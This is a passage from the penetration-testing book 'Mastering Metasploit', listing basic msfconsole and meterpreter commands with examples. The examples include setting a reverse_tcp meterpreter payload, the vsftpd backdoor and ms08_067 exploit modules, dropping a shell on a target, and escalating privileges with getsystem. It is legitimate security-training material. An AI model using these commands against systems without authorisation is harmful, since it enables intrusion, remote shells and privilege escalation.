-
Book Overview & Buying
-
Table Of Contents
Mastering Metasploit - Second Edition
By :
After setting up Kali Linux, we are now ready to perform our first penetration test with Metasploit. However, before we start the test, let us recall some of the basic functions and terminologies used in the Metasploit framework.
After we run Metasploit, we can list all the workable commands available in the framework by typing help in Metasploit console. Let us recall the basic terms used in Metasploit, which are as follows:
Let us now recall some of the basic commands of Metasploit that we will use in this chapter. Let us see what they are supposed to do:
|
Command |
Usage |
Example |
|
|
To select a particular module to start working with |
msf>use exploit/unix/ftp/vsftpd_234_backdoor
msf>use auxiliary/scanner/portscan/tcp
|
|
|
To see the list of available modules of a particular type |
msf>show payloads
msf> show options
|
|
|
To set a value to a particular object |
msf>set payload windows/meterpreter/reverse_tcp
msf>set LHOST 192.168.10.118
msf> set RHOST 192.168.10.112
msf> set LPORT 4444
msf> set RPORT 8080
|
|
|
To set a value to a particular object globally so the values do not change when a module is switched on |
msf>setg RHOST 192.168.10.112
|
|
|
To launch an auxiliary module after all the required options are set |
msf>run
|
|
|
To launch an exploit |
msf>exploit
|
|
|
To unselect a module and move back |
msf(ms08_067_netapi)>back
msf>
|
|
|
To list the information related to a particular exploit/module/auxiliary |
msf>info exploit/windows/smb/ms08_067_netapi
msf(ms08_067_netapi)>info
|
|
|
To find a particular module |
msf>search hfs
|
|
|
To check whether a particular target is vulnerable to the exploit or not |
msf>check
|
|
|
To list the available sessions |
msf>sessions [session number]
|
Following are the meterpreter commands:
|
Meterpreter Commands |
Usage |
Example |
|
|
To list system information of the compromised host |
meterpreter>sysinfo
|
|
|
To list the network interfaces on the compromised host |
meterpreter>ifconfig
meterpreter>ipconfig (Windows)
|
|
|
List of IP and MAC addresses of hosts connected to the target |
meterpreter>arp
|
|
|
To send an active session to background |
meterpreter>background
|
|
|
To drop a cmd shell on the target |
meterpreter>shell
|
|
|
To get the current user details |
meterpreter>getuid
|
|
|
To escalate privileges and gain SYSTEM access |
meterpreter>getsystem
|
|
|
To gain the process ID of the meterpreter access |
meterpreter>getpid
|
|
|
To list all the processes running on the target |
meterpreter>ps
|
If you are using Metasploit for the very first time, refer to http://www.offensive-security.com/metasploit-unleashed/Msfconsole_Commands for more information on basic commands.